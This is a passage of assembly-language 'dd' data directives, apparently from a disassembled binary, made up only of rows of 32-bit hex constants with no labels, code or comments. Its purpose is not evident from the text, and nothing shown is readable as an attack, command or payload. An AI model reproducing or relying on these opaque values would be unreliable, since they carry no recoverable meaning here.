		dd 0DD6E105Fh, 0CFFA0027h, 7D66977Eh, 0E50024AFh, 0D8E25A8Fh
		dd 67E683h, 0CDD27FA1h,	32CBFCDEh, 5D2CB800h, 0A90C5E3Fh
		dd 49F2D4h, 72B069ECh, 4B47010Eh, 0F67A4803h, 990A27FCh
		dd 5E30F209h, 0D56F004Ah, 2E3686E1h, 2E86C99h, 0F153D205h
		dd 9B009A44h, 69C6395Eh, 846A0054h, 0EE07F10h, 0FB1CF9F2h
		dd 41C7FC99h, 0F0503057h, 12B8BF20h, 0ACD5AAh, 561D153Bh
		dd 9D7D6B60h, 0F978D960h, 1BAC69Bh, 0B908142h, 9E185AF5h
		dd 0FA800108h, 0BAA398F9h, 0E259013Ch, 22F4D499h, 9FCE2008h
		dd 0F21250C0h, 954F9F0h, 0FBF74775h, 0A3816E09h, 30561C6Eh
		dd 684A9244h, 870DF8ACh, 8038D188h, 0ED80F9D9h,	3C72654h
		dd 0CFCA7108h, 0A9231E06h, 0BACD009Ch, 0D6487CE1h, 0C0DF08F1h
		dd 0BAFAAD21h, 0E860E3C1h, 546FFB58h, 9CA63B11h, 8D4DA700h
		dd 0AEE4EA8Fh, 9B4684A4h, 0DCBAC407h, 48CCD57Ch, 0AE82DE30h
		dd 43B9BAA9h, 1FBBD0F3h, 0E44750F1h, 2FDB0F64h,	0C01EF0E2h
		dd 2C46DF36h, 83019224h, 0F79ACF68h, 2BDC4E91h,	9DB700D3h
		dd 0EDDD723Dh, 0AE02FD9Fh, 42F48C79h, 231D406Bh, 384403BEh
		dd 2BE7736Fh, 0D3C61100h, 0CACC1DF1h, 69710F2Eh, 35A04A93h
		dd 0FF5517AFh, 0B411C203h, 0E03043FCh, 0B1AB71h, 913FF006h
		dd 32348FE4h, 0C700BDFEh, 1962ED2Ah, 8D6939h, 1FF238D7h
		dd 0E8F56D83h, 970047EEh, 0CCB80B5Bh, 0EAA2AFC3h, 11EA0095h
		dd 0FDFCD3D6h, 0B2071AC5h, 7123545Dh, 39C241F0h, 0CDB0005h
		dd 7EEE365Eh, 0B3241A89h, 0BE009BD4h, 0DF09726Fh, 9C0800B9h
		dd 9958B075h, 9B0051AEh, 5A7857D1h, 3937BABFh, 0E002F7Ch
		dd 0B5340F77h, 850097AFh, 906C4EE9h, 731E6B65h,	0B2BF00DCh
		dd 0BE187FE1h, 40028A89h, 1ADDD601h, 0B8BA60B5h, 117A20h
		dd 7FAEF366h, 70512725h, 0A607C700h, 0BE5E0F48h, 20490053h
		dd 8E8C7708h, 5700DBB6h, 0E6FAF641h, 0A65D1Bh, 0D3CB3C0Dh
		dd 0F133CC7Fh, 76CDAF00h, 0C562E5EBh, 0DBC800D6h, 0DC609E44h
		dd 78018F35h, 0A1749742h, 88BA4169h, 0D6708A01h, 0F0D9A060h
		dd 3500AA39h, 5C907E1Fh, 0A9F9E8h, 0F1AB1B08h, 4840CDECh
		dd 4D82BE00h, 0A6FC8F7Fh, 79499052h, 14C20FADh,	1EE054B7h
		dd 80E01FF1h, 6B309700h, 0BAC14C75h, 0E3F7029Ch, 0EEC35EAh
		dd 20FF27E0h, 0AA0266ECh, 858CFEFCh, 1F2E6104h,	448B016Eh
		dd 0ECDEE1DBh, 3A02577Dh, 6E0573BAh, 0B84AE0CEh, 910E0ED1h
		dd 423DE497h, 83F2B9E2h, 0D4050849h, 1D5CD9D0h,	6BB200A8h
		dd 4AACCADBh, 37303EF6h, 0C19B5E00h, 0B4F9C566h, 6B26726h
		dd 5640AB1Ch, 7E745DDEh, 37320021h, 0AF471CE4h,	0D1007294h
		dd 1776899Dh, 2BFFC6Ch,	6F4D6A0Eh, 946001CCh, 0A388041h
		dd 0DA980DCh, 0B3753457h, 231C1F5Bh, 678CC365h,	0C800553Fh
		dd 867AD33Bh, 0A4D0E8h,	256844B1h, 9027A3B8h, 0D53B9600h
		dd 0FD87A165h, 7D190F9Ah, 22400FCCh, 0B09012A3h, 0F8F4F8C0h
		dd 0FA46F08h, 0C52D3E3Dh, 0DB1EB3E0h, 0EF70E295h, 83149400h
		dd 4F60BA7Dh, 16490034h, 0C0246FDFh, 773CCF2Fh,	0C4650EF1h
		dd 0A8B3E71Dh, 50E8CB90h, 0B7BD00FBh, 63BE17Bh,	0CCA001F9h
		dd 0E0C0E790h, 0BCC80F3Ch, 2E3A0087h, 0FEA844C0h, 0F826C99Bh
		dd 6F0053DDh, 0D16522D4h, 87BA05D5h, 0C0EF0ED3h, 12BE21CCh
		dd 0E17C4000h, 5C2E2529h, 2B130C71h, 5A1037D6h,	0FA3E50EEh
		dd 0D2A91659h, 0CF067E00h, 0D6DBCAh, 0A25A9223h, 0CD37FA1Dh
		dd 0ACD23F3Ah, 9E00774Ah, 9A094515h, 0D8F400F6h, 0A9A7ABACh
		dd 56020B13h, 0BC4C5B9Fh, 0CB6AE01Ah, 0DCA100F6h, 0F79EE73Eh
		dd 0A7E04EEFh, 29E3F800h, 5ECF3AC0h, 1EE43AA6h,	0DB13483h
		dd 0BBD8C167h, 84F813EDh, 0E0D15600h, 0AEB0F135h, 26F40993h
		dd 0A607C5A8h, 801464EFh, 0C4473768h, 5C4D4B1Eh, 85DA01BCh
		dd 0A4982973h, 90EC4430h, 44925Ch, 0E2BFCB6Ch, 7DC8A8A9h
		dd 5DCE5B03h, 0C88219CCh, 0B3DAF2h, 44EB52B4h, 0F36D6C59h
		dd 0E978C500h, 0AB154EEh, 3B2B3D89h, 15034358h,	0D4946625h
		dd 8682AAF8h, 20A1C703h, 0A83E6CA2h, 76E0F983h,	0A63F072Fh
		dd 0F0162253h, 0C49CBF2Ah, 0ECB7A200h, 61CB81A9h, 763982Bh
		dd 0EFEAE2EEh, 94FD8F6Ch, 0E700F57Eh, 2E069A53h, 4E2CCC08h
		dd 8D007980h, 17ED419Bh, 1D33FCC5h, 40500E73h, 6A270FACh
		dd 0A5072DFAh, 5990A21Ah, 78988D60h, 0E7EF2414h, 0B26300E0h
		dd 39AB5C27h, 15CFBC00h, 0A41C92F9h, 2466008Bh,	0FBC3F599h
		dd 9002F50h, 35864085h,	280ED2A3h, 7D242FFh, 0C8F5492Dh
		dd 4665A0F8h, 0E538AF62h, 0FBC10EF4h, 0A7FD4051h, 2A3DFCh
		dd 9ED75C0Fh, 0BDA9634Dh, 0A4C94Ch, 0B490B0ADh,	3D3447h
		dd 296D7798h, 601D315Fh, 0AFB9BD00h, 0D4E0B1Bh,	0D95B1F64h
		dd 4A90C0Ch, 0B300797Ah, 0D4923136h, 0CB4FF0h, 0FF0AA709h
		dd 2D8335E1h, 319E1203h, 0B0D3C4B2h, 77B5Ah, 0D03D6850h
		dd 4ADCA571h, 0B35F0A0Eh, 558FE0E5h, 4F6C6F2h, 75CA9BD5h
		dd 74F8D05Bh, 6E002C70h, 7E2D91D3h, 4EA09Ah, 78364BF2h
		dd 2EC10AEAh, 0CEFC4907h, 1000F11Bh, 0F2116F58h, 42E73B53h
		dd 0D0046580h, 5DBE3FC1h, 3BE86200h, 0A89FE26Ch, 307500C3h
		dd 0ED91CF5Eh, 9B039919h, 0D8AE3D24h, 6525B863h, 2EE10044h
		dd 2987AA3Ah, 40B1180h,	27DCBEh, 1E1F4643h, 79C10009h
		dd 0DD218A3Dh, 800B2D3h, 0F6B5A3EAh, 1136BDh, 28B4A8D7h
		dd 44642EBEh, 5538CA0h,	2C7ADD0Fh, 0EBABA14Ah, 79E0A723h
		dd 0B7F60031h, 5673B4E3h, 9400D0DBh, 0D47E4988h, 0E7DA20h
		dd 5C5B19D8h, 0A953C3C9h, 0CC098D98h, 3CBE566h,	0F0787CA9h
		dd 70AF5CE1h, 0EB0201A6h, 0F1537B21h, 457C3032h, 29FA8C00h
		dd 1A1101B3h, 0E5CD00EAh, 9AD9475Fh, 0AC0B3A4Eh, 3A0CAD0h
		dd 0AD4C7E2Bh, 249983BFh, 8A58DA80h, 74462D0Fh,	0EFCE603Ch
		dd 17C304h, 66C9BE5Bh, 9FBC234Eh, 88A80200h, 84EBCDFAh
		dd 0FDA50095h, 69EDA4BAh, 4E18A261h, 2BE0166Ah,	0DDF31E4Ch
		dd 0FB59C0ACh, 0F64027BCh, 56CF2800h, 509915BDh, 0C1C036Bh
		dd 0ECF244ABh, 33937AF8h
		dd 5807A201h, 0F9964B6Ah, 87CA2080h, 769F665Ch,	0D1F6C578h
		dd 0BFE0BB75h, 761114Ch, 492C6929h, 947984D0h, 66B1C8Bh
		dd 720C0F2h, 6EC76AAFh,	165E8000h, 67560A7Dh, 0CD73F7h
		dd 0A4AB2684h, 321CAD83h, 0C908E600h, 46BF0E30h, 5C1EB8E0h
		dd 4F006C42h, 3770ED3Ah, 5490AE1Eh, 8064C601h, 17E3559h
		dd 8A10ECh, 7289E6A7h, 0C5CB4CB6h, 65740E00h, 9DA06DC8h
		dd 84204860h, 73000D4Ch, 33DFCB3Fh, 42F818B6h, 0BA6D8A00h
		dd 69D50C68h, 165A0080h, 2C71F167h, 0AE2FD12h, 0C629D26h
		dd 385E1F00h, 1C8C428h,	5785CA23h, 60B14FEEh, 0D400044Fh
		dd 4145FBDFh, 3EDE221h,	7C380E1Dh, 5798F7B9h, 54002E03h
		dd 0BA3DF02Ch, 411E276h, 55EFF6F3h, 7328D0BBh, 0A8007A81h
		dd 0CB5AF6Bh, 0FF11BAh,	0DE95FB18h, 0D8F21CECh,	0B000C77Ch
		dd 4EFC3976h, 985CB1h, 19183628h, 0E058CBBBh, 0E62D771Ch
		dd 0F05E8E80h, 16C97FA9h, 0BECE37h, 9FB1F6F4h, 6F1FD46Eh
		dd 803E51E1h, 0B59E9D5Ch, 2971A8h, 7E184352h, 0B1EF58FEh
		dd 0CB5D3507h, 0B410FC1Ah, 23C4A98h, 257032D5h,	2F410E5Eh
		dd 19A6E092h, 0C3A7D00Fh, 94ACC03Ch, 2826276h, 0D3D61C36h
		dd 4E02E35h, 0A6000990h, 331D3BCAh, 22A0DDFh, 1A5CEB04h
		dd 0FB605FE3h, 4400BE19h, 17C6FDCBh, 10A0EC4h, 0B51638CCh
		dd 0D54C9489h, 1E34709Eh, 331F2C00h, 0C90C702Dh, 37E73C6Dh
		dd 4CA2D103h, 110041E4h, 0E672DD07h, 4C779A3Eh,	0EE1F525Dh
		dd 0C1ADC0ECh, 0F0A7DBCBh, 8C64FD1Fh, 8354A602h, 9F34E0CCh
		dd 0CDD85CB9h, 0A4DDC600h, 7D0A3945h, 69E743Ah,	0DB8C9F92h
		dd 63990021h, 50244728h, 70BF94ECh, 0E4030059h,	0C1CB4AB6h
		dd 48017442h, 0B55FDBDCh, 4CE4CE9Eh, 0A80100E2h, 38D111FFh
		dd 5D0C6D27h, 88480215h, 1892EE34h, 7873C61Fh, 7A18076Ch
		dd 0B33CAE4Ch, 81DC678Bh, 2574C0C1h, 8337690Ah,	0C7C1C0D8h
		dd 1410BE1Eh, 0E700C309h, 0D77D2A13h, 17786h, 796E7E89h
		dd 0C56515EFh, 211B1900h, 0C1B12992h, 1ADD002Ah, 0BDEBCB38h
		dd 623CDFD8h, 56F3813Bh, 0F12C7F2Bh, 9D14E0h, 659793B1h
		dd 85C15C6h, 0B2BA3200h, 224167FEh, 59A61C61h, 1CC5804Dh
		dd 0D7E62CE4h, 8B75AA04h, 9780BCBAh, 2833DCDh, 9FDEC2B6h
		dd 4581611h, 476F7300h,	855B8628h, 7B7267h, 0AB978C71h
		dd 0C0122A4Fh, 13DB4C0Eh, 3DCA60DFh, 0A3B8FB3h,	321BAAD1h
		dd 0A6640080h, 3474EE0h, 0C4DEB000h, 0F46B9F82h, 0E6A2007Eh
		dd 79C3864Ch, 0EC7D31BCh, 0C503917Dh, 676CD86Dh, 0DB88001Eh
		dd 359A72D7h, 97724BA9h, 74ABEA00h, 0FAEBDA7Ch,	60582CD6h
		dd 0E7A10590h, 40BC5E36h, 17488C63h, 13091A08h,	22349Ch
		dd 463C980Fh, 0DA67241Eh, 0B37F8738h, 0F5AD5002h, 0FA3EC39Ah
		dd 61288237h, 4462819Dh, 91B004Ch, 0C2FC5796h, 68DFD699h
		dd 42D35900h, 0F8BCF1Ch, 8897E34Ch, 0A03A8100h,	950098C2h
		dd 0FF86A2A7h, 0EC6C7EB3h, 61BB06Fh, 874F535Ch,	0A60E4989h
		dd 6F99FDA8h, 7F05835Dh, 75909F42h, 3B3AC4DBh, 45803949h
		dd 2FA5565Ah, 0DDF810E9h, 66AE4E00h, 135A1CFh, 3095748Ah
		dd 0BD2032B9h, 0B5004E4Bh, 44FA7969h, 837BA0h, 4647AF67h
		dd 0B6C7E45Ah, 0FDADCE00h, 614457D3h, 78283A5Ch, 4C19A900h
		dd 0C5510636h, 38064D7Eh, 121B482h, 63F50018h, 0D35C2E80h
		dd 4F60E087h, 5B4ED121h, 6080D836h, 0F43911BCh,	56116729h
		dd 3E9C69D0h, 455F18F8h, 110D099Eh, 0DE7620C0h,	7DF5741h
		dd 97871A9h, 67FBC71Dh,	107D1287h, 60CB84A4h, 109134B2h
		dd 0C4A07766h, 0D2002E7Fh, 0B24334ABh, 2FD67203h, 0F09E92E2h
		dd 7A2D4ECh, 0E39DB687h, 1A1940FBh, 9B78F31Eh, 2B76E600h
		dd 23F27165h, 5D5200FFh, 9DC1A0E0h, 0DD006FF1h,	0B13BFA9Ah
		dd 7A2CEE27h, 0DE380EC2h, 0ECC07199h, 9235DA73h, 5EBA8703h
		dd 9F25092Bh, 8F386320h, 9A580F05h, 6802C56h, 3089E4Eh
		dd 0D504B900h, 31C6E034h, 0EEF02Eh, 0C547F44Bh,	0C9AA15C4h
		dd 0BF0F1379h, 676D3835h, 2381F60Ch, 10807A8Ah,	0A6C220CFh
		dd 627DCAC9h, 0E163160Bh, 0B0A200FAh, 96D99h, 0C61CFB22h
		dd 804691D8h, 38B44401h, 47EFE585h, 880CDD1h, 86D8CB07h
		dd 0E100E9E0h, 0BD9E202h, 4AFC53Eh, 33320365h, 208EC744h
		dd 93CE9C6Ah, 0DBB4C701h, 0C1984C59h, 1E9DFCh, 9D4BC90h
		dd 307680E7h, 47CD6300h, 4DB77D11h, 84E01F16h, 398F80B8h
		dd 518A3CE5h, 0DBF0F84Ah, 0F9F400E2h, 5FFF18BDh, 60E2D150h
		dd 310063E0h, 5881AE0Dh, 550967h, 6CE6838Bh, 0ED8F2C0Ch
		dd 3F755407h, 0FCF196E4h, 0C32055AFh, 819C63DDh, 87E0F2D3h
		dd 85006D4Ah, 8ACBAEE0h, 14623CA2h, 0A2CC1D94h,	7DFFB000h
		dd 0C5370B9Ch, 0FC718900h, 67E61ED2h, 0EA9B000Ah, 85D3DA0Ch
		dd 9C00EE7Dh, 5E12B143h, 66C817h, 0F318E980h, 9B419FC6h
		dd 0A35FAE00h, 59EBBA13h, 4D3005Ah, 0F3C0D826h,	0ADEA66ACh
		dd 190F0FE6h, 60410E25h, 0B9202E58h, 0A03C0094h, 2AA35652h
		dd 8200D3C4h, 57F884A7h, 1DB78Ah, 89F5F296h, 11F64839h
		dd 0B847B900h, 1674150Dh, 3087331Ah, 0ADF82CE0h, 5B002EEDh
		dd 0C115B290h, 1E509C59h, 80EBE9EFh, 0F520C004h, 49005C68h
		dd 0A5EC11FDh, 0E85DBE40h, 751C3EEDh, 93A70074h, 0F6D73C0Fh
		dd 0E53E7AB6h, 9A1807B0h, 52C029F1h, 145164F3h,	0ACD4DA6Ch
		dd 1F16BC40h, 0C2660BBCh, 4680E427h, 28630C85h,	0F11F1104h
		dd 4B004943h, 9E76126h,	3E140082h, 11B1F17h, 0BA00E4B2h
		dd 3B35EBB6h, 62529C0Bh, 9FF0295Eh, 22BB0422h, 472541C7h
		dd 0A00C2804h, 0A8EE8547h, 3C776304h, 485A1604h, 0F58042E8h
		dd 272EFF22h, 8DD9423h,	0E2664184h, 79FB01E5h, 0FF9A9510h
		dd 0A0820808h, 0F971885Bh, 224922BCh, 0BC50F2CFh, 0FF442814h
		dd 0E228433h, 5A5822E6h, 0D7423F01h, 4D0FB6C9h,	50869D12h
		dd 7A07C974h, 96EFFED7h, 832BE870h, 921D0570h, 80A56889h
		dd 26E2AD83h, 330CBB00h, 7511DDE7h, 0DA80F14h, 0DCE0BA17h
		dd 0F1ABED46h, 7A69A400h, 0E64C3548h, 49AA00E8h, 744EE7B0h
		dd 0D3006897h, 97E995Bh, 7ACD7553h, 0A8541CFFh,	2294F3Ch
		dd 0C0F01740h, 0DD003130h, 6E6918ACh, 2CFF762Fh, 481B50Ch
		dd 806BA07Eh, 2DBF8BACh, 0B4830400h, 0A4CF1D30h, 49F72431h
		dd 8B401FB6h, 7988148Dh, 45540E8Fh, 0E0C1F3E0h,	0B6001B3Ch
		dd 0E7BDFC72h, 0F95B333Fh, 6DE20h, 4F04FDA4h, 0C77B9557h
		dd 6832DB00h, 2D3FB43Ah, 641849DAh, 2A4D5A00h, 0BC15B9FCh
		dd 0C1918A01h, 3BE30612h, 0B249C8h, 0BF82250h, 8E871DB1h
		dd 4BA29A00h, 0ED6C48CDh, 8F580055h, 610DCBB3h,	4201971Ch
		dd 0A26A2FEEh, 59F052B4h, 7441017Bh, 0E54CEB3Ch, 847FDCAFh
		dd 726CBB00h, 8503833Ah, 13810082h, 0DA3C46A5h,	0D40093A3h
		dd 0AB14D0DCh, 0F4682Bh, 5AD5D60Fh, 71753C11h, 8E8DC60Ch
		dd 780C8D2h, 73FC3D91h,	0B0A010DDh, 0E002E333h,	0F33CA571h
		dd 66B6E0E4h, 2F400CAh,	947D4B8h, 7007836h, 0F7DD9272h
		dd 63E61F2Fh, 0E71C21FBh, 0E2E838A8h, 1D6F7A0Bh, 3A7C50FEh
		dd 0F380EC53h, 126EFC45h, 5E78B57Ch, 0F04BDC00h, 5F9114F5h
		dd 96180059h, 351C89E0h, 0BF00B5FBh, 0C8E87B08h, 0DF43C1h
		dd 7787D66Ch, 0D528FA8Bh, 533D8901h, 0FBA53F5Eh, 8A0DD4h
		dd 0F1C6FC9Ah, 0ACF64665h
		dd 20D11A00h, 8EA35A4Bh, 2D5800B7h, 25590188h, 0BC721E5Ch
		dd 0FEA93600h, 9FC1BE4Dh, 0E7C600EFh, 5EEAECF0h, 5600F841h
		dd 0A378B789h, 1FC55Fh,	19BDA4F3h, 9416EC34h, 9CBFBA3Fh
		dd 0AC9CF1AAh, 2B433C5Eh, 80D9C50Eh, 0E0F52Dh, 46B70325h
		dd 66A6047Fh, 0AE990200h, 340A20A8h, 47C40026h,	32BB5174h
		dd 313B2554h, 2762001Ah, 2FCDC312h, 0AB690034h,	0EF8260C9h
		dd 0C0C048Ah, 9117586h,	229B0F12h, 8BA03D1Dh, 5E0DD562h
		dd 15A4A500h, 0A05CF0D0h, 0EC6F4ECBh, 9E99035Bh, 0D0D4AE26h
		dd 2A98684h, 657956B4h,	0F0E02EABh, 0F5385381h,	0A124808Bh
		dd 0B86C1643h, 7F080059h, 9BCA7D4Ch, 0E03F9FBAh, 0E4BBB87h
		dd 0A0650DDBh, 18B8D49Eh, 0E6030007h, 74C139FDh, 3807494Ah
		dd 233FF202h, 0A5D74C80h, 592C1EDAh, 192F40A3h,	0E5F5F964h
		dd 0F4AB38h, 682DA750h,	1D9EA935h, 9A9102h, 0E2BB1F15h
		dd 9BF41295h, 36AE4550h, 8851FC00h, 0F94E9D34h,	3CC609ADh
		dd 78229389h, 0D4230D12h, 26CD816h, 6966171Fh, 62F30067h
		dd 2E9ADA47h, 9BD9CF00h, 0C61B3FA5h, 757E066h, 8E09B1E5h
		dd 0F7CA60FCh, 93009C2Eh, 285311F3h, 0E6E8FC8h,	1DA53CD1h
		dd 0EEEF4300h, 40F6EA3Ah, 0A97CC700h, 26197648h, 92290011h
		dd 7104A51Ah, 6258AC2Ch, 84E871EDh, 907FD200h, 2D80CC40h
		dd 819A032Ah, 44098CF2h, 0D676D5C0h, 0AA602100h, 5128B958h
		dd 0A3C1006Fh, 0B0338B7h, 0A00CAD5h, 310811A4h,	0C4C7EFh
		dd 87EB66F6h, 0F91D9C32h, 98ADB000h, 0CC0E9BFFh, 107BAEh
		dd 0AF2FA5C3h, 7AA15483h, 0F081971Eh, 0E6B52143h, 0CEEA98DCh
		dd 0E790234h, 0E74AE5ADh, 9FF9AC80h, 0A67316FCh, 139DA200h
		dd 0E8AE2918h, 65F5260Fh, 18FE1277h, 0E523DC26h, 0A4606901h
		dd 62959144h, 3DE99AE0h, 0DB003F92h, 74FFB4CEh,	439044B3h
		dd 0BB3D8D00h, 0D39D693h, 6BBF1EEEh, 18AECF47h,	0C4E6F140h
		dd 0FB00338Fh, 415FAF67h, 737D36EDh, 66120190h,	4C47E340h
		dd 0DD742019h, 290D4D00h, 8EBB7D1Eh, 6D57960h, 702E6EDAh
		dd 18004082h, 1FE5461Bh, 0E0E60B20h, 0EB2D074Dh, 85A6A3ECh
		dd 0A89EC008h, 7A007C56h, 5FF22FA9h, 7BDF2CB4h,	0AB0900FFh
		dd 645BBF1Ah, 0C8036F65h, 39DA4F9Bh, 92AEC005h,	2B1507FDh
		dd 8090B933h, 0CD68B35Bh, 60BD3E1Dh, 0C4D45240h, 1F0CD7E9h
		dd 40B733C8h, 47B278BBh, 0A50327FAh, 43BCF4AEh,	0C6E3C874h
		dd 65951E44h, 63A34155h, 0E8309B51h, 3500DC8Eh,	7EFDF1C1h
		dd 3372CBAh, 7C5C75F2h,	6A8B8933h, 0B3CCBA00h, 8C19C928h
		dd 1D2C9013h, 4025C71Eh, 0EDDC915Dh, 22003C61h,	0D4DF1C2Fh
		dd 1E0B4BAh, 0A5B94BFDh, 2F52A22Bh, 87748480h, 541001Eh
		dd 0CEC9D237h, 0E875E3B7h, 0E70E4A76h, 602B8CDFh, 0D5130FAAh
		dd 707197h, 7B19CBCFh, 5CEE2CFDh, 7E40500Ch, 0F482F1h
		dd 6762D434h, 0EB369676h, 0E6148A00h, 0D1022B8Eh, 0B46903ACh
		dd 0A772873Ah, 0FA2C2FD8h, 803A498h, 11E9209Bh,	6EF2E813h
		dd 81410049h, 6C7A2EBFh, 0DC000C5Dh, 0EE0AD8BEh, 0F0DBA82h
		dd 0A749D704h, 9E7558A0h, 0ED03E19Ch, 0B012CBF8h, 6C00EC18h
		dd 697720FDh, 0C8DDB83Dh, 0CA92602Ch, 7BDEC530h, 37A009Ch
		dd 0B3ECCEF7h, 0E004EB1h, 772E3174h, 19B964h, 0C22DB2BCh
		dd 0DADE750Dh, 0B7EE2800h, 0C0587947h, 308C00F7h, 9ABE312Ah
		dd 0B01FA91Eh, 4C8097A0h, 44E6290Eh, 60EB00D1h,	64D3356Dh
		dd 0A800DAF6h, 0C123112Ah, 1133AA6h, 19217BBCh,	0C08BD6F2h
		dd 0A300070Ch, 11D9F551h, 705C24B3h, 0AD655822h, 4A00213Fh
		dd 8D9269B2h, 370FFB0Ch, 2009826Bh, 9D9E70D8h, 0A9B53857h
		dd 0C04B2Ch, 0BD9422FBh, 2C00E60Ch, 0E4A7F0D1h,	20C7C8h
		dd 1F327CDBh, 1D8EAB79h, 0E99EEE07h, 2710177Eh,	0BB6351h
		dd 0B081F696h, 390C229h, 81E00D3Ah, 0ADD2D913h,	1E839778h
		dd 1050182Ah, 0A29B6588h, 39484100h, 576A2D21h,	3EC98A3h
		dd 242B77Fh, 78845F5h, 6600B2C1h, 6C840DA4h, 0B38865h
		dd 0C270EAF1h, 5DAD35D2h, 0B5A99612h, 29C2F81Dh, 8080673Dh
		dd 7FE20898h, 9B7504BEh, 0C0775C1Bh, 69064F65h,	2D798D00h
		dd 99CE9481h, 86800A5h,	9A564264h, 3A00E79Ch, 75BAB44Dh
		dd 1D14EF18h, 0C311C46Eh, 0BBBE1F77h, 0A7D05880h, 0CB82B900h
		dd 0B60979CEh, 91D60049h, 88021F01h, 4C5463DEh,	31105BACh
		dd 0CC3C102Bh, 62C00600h, 965035FBh, 23004AE2h,	94ECC8DAh
		dd 1EED8A1Ah, 4ECAAC3Dh, 0CEA05FE9h, 366ACC91h,	5B2E3B90h
		dd 74047DC3h, 0CC8549AAh, 0AF24C2B8h, 63B80037h, 91EBC1BAh
		dd 209C540Fh, 38996064h, 3CCAF8Ah, 5AA4DFA7h, 0AC98E9B4h
		dd 7B3E6146h, 0BC91801Fh, 13E5B792h, 5E6500B8h,	85FBB269h
		dd 6F7799EFh, 5D357B00h, 681AAE5Bh, 32DD042Ah, 808174FAh
		dd 53BEC25Ch, 42D9CE00h, 0D1B72187h, 0BC7F009Bh, 94E62D50h
		dd 2F00240Ch, 0DDE0F8AEh, 547126h, 0C78359A2h, 8ADF8648h
		dd 0D23D9CA0h, 0D4B50F01h, 7D2796E5h, 3EE93C0h,	842FAFD8h
		dd 0D280107Bh, 4600CB9Dh, 4DB543BEh, 0B07FD802h, 0F02A1F7Ah
		dd 0E7170044h, 8A0C4BE6h, 8B8C1307h, 0AD605A6Ch, 772BCEh
		dd 41A3E9EAh, 0D01B3159h, 619E6201h, 5C284D33h,	59B49C0h
		dd 3F7389A3h, 0B20C0CAh, 0DC006D30h, 9F19C590h,	0F6ABEB2h
		dd 0C8B4C1DEh, 1AE0AC60h, 10FA5E3h, 1F979E80h, 2C5DB200h
		dd 0F8054Ah, 754485F6h,	77B4842h, 0DBAE4100h, 9E2A828Eh
		dd 151000B2h, 57806A4Dh, 2E00A7DDh, 6683A9ACh, 593AA27h
		dd 11F575B9h, 3A63C07Ah, 1D002E1Eh, 8C52957Ch, 0E7179A6h
		dd 610A389Ah, 0F883CFA0h, 0DB0126B8h, 844C5ED3h, 0DDD4C2DCh
		dd 8E6107A6h, 2072AD30h, 8ACD636Dh, 6E1A8B01h, 9370B9EDh
		dd 0ECF38DE8h, 0AD240001h, 0DE725DB5h, 4AEA3160h, 0E923300h
		dd 0E743F51Ah, 0C2E50063h, 9FF3D210h, 750F913Dh, 0A136F0A6h
		dd 0D976CE6h, 39CEDC74h, 0ACA49F5Eh, 822900DCh,	2C4009B0h
		dd 0C750A205h, 0D88037F3h, 33A505FBh, 5D28BB19h, 0B68B90D8h
		dd 979F8A00h, 0D1076A87h, 5F6300A8h, 0BBAD6247h, 60F3805h
		dd 2018A608h, 4C718B17h, 4341008Eh, 9FC65E70h, 0D0004E47h
		dd 3E96B6B9h, 70BC328h,	0F7D27178h, 1ABBF30Dh, 0A7A2DB0h
		dd 6EA50800h, 43E403A4h, 0F459FAFFh, 706600F0h,	53A3BCC7h
		dd 0C303577Fh, 90F1A004h, 2DBF86Ah, 32151D92h, 536180CAh
		dd 9D7EC758h, 0BE0401E8h, 47DC871Ah, 8500B4A2h,	0B0B2DE82h
		dd 583B0A05h, 4DB48031h, 9466AE16h, 6F5A0035h, 6CE39E1Dh
		dd 0F000842Bh, 7F9630FFh, 7D7341ADh, 0D8B60069h, 2CFA9767h
		dd 8B00FF8Dh, 0A64C52E2h, 0E6C6D6Eh, 0AE123DBFh, 0EF44E883h
		dd 9B6A4BB0h, 9B05290h,	0F9BE8A03h, 0EA5AE6DFh,	0ADB08763h
		dd 0D0C0BD64h, 4E9DA0h,	1DFC8829h, 6502213Eh, 8B8D8500h
		dd 590753E0h, 78360103h, 0AAF6396Ch, 0CFB0CB37h, 6F001752h
		dd 0D5CB3020h, 0D63A54h, 1B239F4Ah, 0AA76F6F2h,	46C2C70Bh
		dd 44E60093h, 7CE41C5Ah, 418900A8h, 747EA18Dh, 1774AC15h
		dd 0B407800h, 0E539CDEDh, 5032001Dh, 7F6C06DEh,	633FFAB8h
		dd 6D3FF04Fh, 0EF2796A7h, 39FD5D00h, 39E8FBF2h,	0FC4A6901h
		dd 0AA3B01A5h, 8878EAACh, 0C61BD4h, 1C87527Fh, 0E21FFF1Ah
		dd 7A449B00h, 7E594EA1h, 0C0F707C6h, 3037166Ch,	0AD80209Fh
		dd 3DB02F7Fh, 8D52D700h
		dd 402E1A4Ah, 0F7BB056h, 0EF1329B4h, 69DD0F57h,	884160A6h
		dd 0F5E66C17h, 7DAC7400h, 760711h, 0AD823732h, 0A4EA568Ah
		dd 5DF14800h, 0F90B4DE1h, 7AF302D8h, 51ABCABDh,	68A6D460h
		dd 0C4CEE917h, 3625C40h, 60FE7Ch, 0A813FB3Eh, 2994D278h
		dd 8175E13Ch, 0BF32D611h, 89D491E0h, 147400E9h,	8385A13Ah
		dd 0ED389B9Fh, 970780AFh, 4A33214Eh, 0AEA00CCDh, 6AB81A5Fh
		dd 0BE1CE403h, 9896C111h, 9C569DEh, 9A6E227Dh, 0FFD22480h
		dd 0F00FFD75h, 0B19DB0h, 769283F4h, 0FA7C1Fh, 21AB2E6Bh
		dd 57424ACBh, 29934B00h, 0E4812394h, 0CE9000FBh, 7C69D15h
		dd 0C00B2A7h, 0AADF1B67h, 925A8Dh, 1CC9CD9h, 2F1C6FA3h
		dd 27FEB207h, 65C04607h, 48026A3Dh, 401F3928h, 0EA87404Dh
		dd 19066813h, 8F0A3100h, 20901AF9h, 25F7012Dh, 0E1CF7283h
		dd 0B25CC08Dh, 167FF207h, 0A0EEB4EAh, 4A6ABC10h, 47CE00BFh
		dd 0EB6CB868h, 8600173Eh, 539BB243h, 4F115A2h, 9D507B11h
		dd 2948C054h, 0BA75DBDFh, 0ED4D7A1Eh, 7C003616h, 0FB4F6AB9h
		dd 1237002Ah, 0E9B1BD1Eh, 0A4008FACh, 799BD46Eh, 2C86EBE2h
		dd 0B05B20h, 41ABD2B6h,	57009F53h, 7534888Bh, 2B5994Ch
		dd 747366B0h, 8802267h,	751AD9A6h, 0FA9B60Bh, 7280FFC7h
		dd 96DDC4E9h, 0EC2248h,	48F0772Ch, 0CFD963h, 0B05F5B0Eh
		dd 7CE487FBh, 2005DD1Fh, 66DA3280h, 67F7F8h, 0CDE8922Bh
